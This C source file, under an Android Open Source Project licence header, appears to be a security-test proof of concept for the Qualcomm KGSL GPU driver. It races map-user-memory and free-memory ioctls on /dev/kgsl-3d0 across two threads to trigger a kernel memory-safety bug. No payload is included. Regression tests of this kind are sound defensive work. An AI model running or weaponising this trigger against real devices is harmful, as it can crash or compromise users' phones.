| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #define _GNU_SOURCE |
| #include <errno.h> |
| #include <fcntl.h> |
| #include <pthread.h> |
| #include <signal.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| |
| /* ioctls */ |
| #define KGSL_IOC_TYPE 0x09 |
| |
| enum kgsl_user_mem_type { |
| KGSL_USER_MEM_TYPE_PMEM = 0x00000000, |
| KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, |
| KGSL_USER_MEM_TYPE_ADDR = 0x00000002, |
| KGSL_USER_MEM_TYPE_ION = 0x00000003, |
| KGSL_USER_MEM_TYPE_MAX = 0x00000007, |
| }; |
| |
| /* |
| * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not |
| * leave a good value for allocated memory. In the flags we use |
| * 0 to indicate allocated memory and thus need to add 1 to the enum |
| * values. |
| */ |
| #define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT) |
| |
| #define KGSL_MEMFLAGS_NOT_USERMEM 0 |
| #define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM) |
| #define KGSL_MEMFLAGS_USERMEM_ASHMEM \ |
| KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM) |
| #define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR) |
| #define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION) |
| |
| /* add a block of pmem, fb, ashmem or user allocated address |
| * into the GPU address space */ |
| struct kgsl_map_user_mem { |
| int fd; |
| unsigned long gpuaddr; /*output param */ |
| size_t len; |
| size_t offset; |
| unsigned long hostptr; /*input param */ |
| enum kgsl_user_mem_type memtype; |
| unsigned int flags; |
| }; |
| |
| #define IOCTL_KGSL_MAP_USER_MEM \ |
| _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem) |
| |
| /* remove memory from the GPU's address space */ |
| struct kgsl_sharedmem_free { |
| unsigned long gpuaddr; |
| }; |
| |
| #define IOCTL_KGSL_SHAREDMEM_FREE \ |
| _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free) |
| |
| #define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0 |
| #define KGSL_MEMFLAGS_USERMEM_SHIFT 5 |
| |
| #define TRUE 1 |
| |
| struct kgsl_map_user_mem allocArg; |
| struct kgsl_sharedmem_free freeArg; |
| |
| int fd; |
| int thread_exit = 1; |
| |
| void *alloc_thread(void*); |
| void *free_thread(void*); |
| void kgsl_poc(void); |
| |
| void *alloc_thread() { |
| while (thread_exit) { |
| allocArg.fd = -1; |
| allocArg.gpuaddr = 0x0; |
| allocArg.len = 4096; |
| allocArg.offset = 0; |
| allocArg.hostptr = (unsigned long)malloc(allocArg.len); |
| allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR; |
| allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR; |
| |
| int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg); |
| |
| if (ret < 0) { |
| printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno, |
| strerror(errno)); |
| return NULL; |
| } else if (!allocArg.gpuaddr) { |
| allocArg.gpuaddr = allocArg.hostptr; |
| } |
| |
| volatile unsigned long *pGPU = &allocArg.gpuaddr; |
| |
| while (*pGPU) { |
| if (thread_exit) |
| break; |
| } |
| |
| free((void *)allocArg.hostptr); |
| } |
| return NULL; |
| } |
| |
| void *free_thread() { |
| volatile unsigned long *pGPU = &allocArg.gpuaddr; |
| freeArg.gpuaddr = 0x0; |
| |
| while (!freeArg.gpuaddr) { |
| freeArg.gpuaddr = *pGPU; |
| } |
| |
| while (thread_exit) { |
| ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg); |
| *pGPU = 0x0; |
| } |
| return NULL; |
| } |
| |
| void kgsl_poc() { |
| pthread_t allocTid, freeTid; |
| fd = open("/dev/kgsl-3d0", 0); |
| |
| if (fd < 0) { |
| printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno, |
| strerror(errno)); |
| exit(-1); |
| } |
| |
| pthread_create(&allocTid, NULL, alloc_thread, NULL); |
| pthread_create(&freeTid, NULL, free_thread, NULL); |
| pthread_join(allocTid, NULL); |
| pthread_join(freeTid, NULL); |
| } |
| int main() { |
| kgsl_poc(); |
| return 0; |
| } |